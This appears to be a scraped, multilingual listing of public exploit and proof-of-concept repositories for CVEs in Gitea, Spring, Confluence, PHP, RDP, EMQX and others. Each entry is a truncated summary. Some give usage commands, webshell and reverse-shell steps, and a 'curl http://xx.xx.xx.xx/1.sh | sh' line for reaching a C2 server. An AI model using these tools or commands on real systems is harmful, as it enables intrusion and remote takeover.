CVE-2022-30781

🍵 CVE-2022-30781 Gitea 저장소 마이그레이션 원격 코드 실행 익스플로잇. 사용 방법 1. 이 리포지토리의 파일로 HTTP 파일 시스템 서버를 실행합니다. 2. api/v1/repos/e99/exp/pulls/1/index.html L96에서 실행할 명령을 편집합니다. 3. Gitea 인스턴스에서 URL http:///e99/exp로 원격 저장소를 마이그레이션합니다. 4. Pwnned! 참고 https://tttang.com/archive/1607/ 중국어 크레딧 @wuhan005 @Li4n0 Vidar-Team...

spring-framework-rce

spring-framework-rce CVE-2022-22965 環境要件 1. tomcat8 8 使用方法 1. springframeworkrce-0.0.1-SNAPSHOT.zip をダウンロードして解凍後、名前を ROOT.war に変更します。 2. tomcat 内の webapps フォルダ配下の ROOT フォルダまたは ROOT.war を置き換えます。 3. tomcat 内の bin パスに移動し、.\catalina.bat run を実行します。 テスト方法 省略 結果...

CVE-2020-1947

CVE-2020-1947 root@kitploit: usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

CVE-2019-0708

CVE-2019-0708 CVE-2019-0708, BlueKeep용 초기 익스플로잇 CVE-2019-0708 BlueKeep RDP 원격 Windows 커널 Use After Free RDP termdd.sys 드라이버는 내부 전용 채널 MST120에 대한 바인드를 잘못 처리하여, 잘못된 형식의 Disconnect Provider Indication 메시지가 use-after-free를 유발할 수 있습니다. 제어 가능한 데이터/크기의 원격 비페이징 풀 스프레이를 통해 해제된 채널의 간접 호출 가젯을 사용하여 임의 코드 실행을...

CVE-2026-14982

The WP File Download plugin for WordPress (versions ≤ 6.3.4 ) is vulnerable to arbitrary file deletion via insufficient path validation in the delete function. Authenticated attackers with subscriber-level access or above can exploit a two-stage attack : first calling the file.save endpoint to pe...

CVE-2022-25581

CVE-2022-25581 전체 인터넷에서 찾을 수 없어 백업을 남깁니다. Python 공격 스크립트 로, 다음 단계를 자동으로 수행합니다: ✅ 스크립트 기능 목표 1. 관리자 페이지 로그인 csrf 및 token 획득 2. 악의적인 요청 패킷을 구성하여 압축 파일 업로드 webshell 포함 3. 업로드된 webshell에 접근하여 제어 권한 획득 GET shell 🧾 사전 조건 대상 환경: ClassCMS 2.4 웹 서버: PHP 5.5 + MySQL 공격자는 접근 가능한 HTTP 서버 보유 shell.zip 호스팅 용 알...

CVE-2019-7609

CVE-2019-7609 kibana-7609용 docker lab 구성 참조 : https://github.com/mpgn/CVE-2019-7609 root@kitploit: Open Kibana Past one of the following payload into the Timelion visualizer Click run On the left panel click on Canvas Your reverse shell should pop ! : payload by @securityMB...

CVE-2022-22965_Spring_Core_RCE

Spring-Core-RCE Spring Framework 원격 코드 실행 취약점CVE-2022-22965 Spring-Core-RCE는 Apache Log4j2 핵폭탄급 취약점 exp에 버금가는 RCE 원클릭 이용 도구입니다. 개요 최근 Spring 공식 GitHub issue에서 Spring Core의 원격 코드 실행 취약점이 언급되었으며, 이 취약점은 Spring 프레임워크 및 파생 프레임워크에 광범위하게 존재합니다. 취약점 설명 Spring Core는 Spring 제품군에서 bean 간의 관계를 발견, 생성 및 처리하는...

pulse-secure-vpn-mitm-research

pulse-secure-vpn-mitm-research Pulse Secure mitm 연구 공개일 벤더와 공동 공개일: 2020년 10월 26일 작성자 David Kierznowski, @withdk 크레딧 공개 절차 전반에 걸쳐 지원해 준 Pulse Secure PSIRT 팀의 Sahil Mahajan에게 감사드립니다. "Red Teamer’s Guide to Pulse Secure SSL VPN" 보고서를 작성한 Alyssa Herrera, Justin Wagner, Mimir, Rich Warren에게 감사드립니다 -...

confluence-rce-poc

confluence-rce-poc CVE-2021-26084Docker용 POC 설정 공식 docker-entrypoint.sh를 postgres에 공급하고, 필요에 따라 db 사용자 이름과 비밀번호를 변경하세요...

pulse-gosecure-rce-poc

pulse-gosecure-rce root@kitploit: /\ \ /\ \ /\ \ /\ \ /\ \ /::\ \ /::\ /::\ /::\ \ /::\ \ /::::\ \ /:::/ / /:::/ / /::::\ \ /::::\ \ /::::::\ \ /:::/ / /:::/ / /::::::\ \ /::::::\ \ /:::/:::\ \ /:::/ / /:::/ / /:::/:::\ \ /:::/:::\ \ /:::/:::\ \ /:::/ / /:::/ / /:::/:::\ \ /:::/:::\ ...

CVE-2023-46404

CVE-2023-46404 PCRS는 토론토 대학교에서 개발된 온라인 프로그래밍 연습용 웹 애플리케이션입니다. Bitbucket 저장소를 참조하십시오: https://bitbucket.org/utmandrew/pcrs/src/3.11/ 요약 코드 제출 기능이 있는 PCRS의 “Questions” 페이지와 “Code editor” 페이지는 Python 샌드박스를 탈출하여 원격 코드 실행RCE에 취약합니다. 상세 정보 PCRS 인스턴스에서는 생성기generator 객체를 사용하여 원격 코드 실행이 가능합니다. 생성기...

HG532d-RCE-Exploit

HG532d RCE 익스플로잇 개요 CVE-2017-17215 취약점을 기반으로 한 원격 코드 실행RCE 익스플로잇입니다. Huawei HG532d 홈 게이트웨이 라우터에서 작동하도록 exploit-db.com의 원본 PoC 코드에서 수정되었습니다. 설명 이 RCE 익스플로잇은 Huawei HG532 시리즈 홈 라우터에서 실행되는 UPnP 프로세스의 취약점을 악용하는 CVE-2017-17215를 기반으로 합니다. exploit-db.com의 원본 익스플로잇은 HG532 홈 라우터를 대상으로 합니다. 이 익스플로잇은 HTTP...

CVE-2024-4577

これは CVE 2024-4577 の POC です このエクスプロイトにより、攻撃者は RCE を実行できます PHP 8.3 8.3.8 PHP 8.2 8.2.20 PHP 8.1 8.1.29 のようなPHPバージョン 引数はコードから確認できます！ この特定のエクスプロイトの詳細については、nist.gov を確認してください。...

CVE-2022-26134-Confluence-RCE

CVE-2022-26134 익스플로잇: OGNL 인젝션을 통한 Confluence 사전 인증 원격 코드 실행 OGNL 랜드의 또 다른 익스플로잇 설명 Confluence는 호주 소프트웨어 회사 Atlassian이 개발한 웹 기반 기업 위키입니다. 2022년 6월 2일, Atlassian은 Confluence Server 및 Data Center 애플리케이션에 대한 보안 권고를 발표하여 중요한 심각도의 인증되지 않은 원격 코드 실행 취약점을 강조했습니다. OGNL 인젝션 취약점으로 인해 인증되지 않은 사용자가 Confluence...

CVE-2020-27955-LFS-main

Git-lfs Remote Code Execution RCE エクスプロイト CVE-2020-27955 .bat / PowerShell 版 脆弱なソフトウェア: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken など 発見者: Dawid Golunski https://legalhackers.com https://exploitbox.io Windows でテスト済み: git, GitHub CLI gh, GitHub Desktop,...

CVE-2023-24489-poc

CVE-2023-24489-poc bash를 사용한 CVE-2023-24489용 POC입니다. 다음 형식으로 테스트하려는 대상이 담긴 target.txt 목록이 필요합니다: https://example1.com https://example2.com https://example3.com 파일은 bash 스크립트가 실행되는 동일한 디렉토리에 있어야 합니다. 주의해서 사용하십시오! 참조: https://blog.assetnote.io/2023/07/04/citrix-sharefile-rce/...

CVE-2025-52136

CVE-2025-52136 root@kitploit: https://github.com/ricardojoserf/emqx-RCE 원래 이용 방식은 emqx 플러그인을 업로드하고, 플러그인 템플릿 코드에 Erlang os 모듈을 추가하여 시스템 명령을 호출해 RCE를 실행하는 방식입니다. 출망 환경에서는 기본적으로 curl이 존재하므로, curl http://xx.xx.xx.xx/1.sh | sh를 통해 직접 C2에 연결할 수 있습니다. 타깃이 출망이 아닌 경우, EMQX 자체가 MQTT 메시지 서버이므로 플러그인 업로드와 함께...

CVE-2026-22812-POC

OpenCode CVE-2026-22812 利用工具 用于检查和利用 OpenCode 漏洞（CVE-2026-22812）的简单 Python 工具。 安装 root@kitploit: git clone https://github.com/CayberMods/CVE-2026-22812-POC.git cd CVE-2026-22812-POC pip install requests urllib3 argparse concurrent-log-handler colorama 基本用法 root@kitploit: 检查单个目标 python rce.py -u...

watchTowr-vs-FortiWeb-CVE-2025-25257

watchTowr-vs-FortiWeb-CVE-2025-25257 FortiWeb CVE-2025-25257용 탐지 아티팩트 생성기 기술적 세부 사항은 블로그 게시물을 참조하세요. https://github.com/user-attachments/assets/e59f2b3b-2b9b-469f-b4a8-2b7df2ede194 동작 중 탐지 root@kitploit: python watchTowr-vs-FortiWeb-CVE-2025-25257.py --target https://192.168.8.30/ --lhost...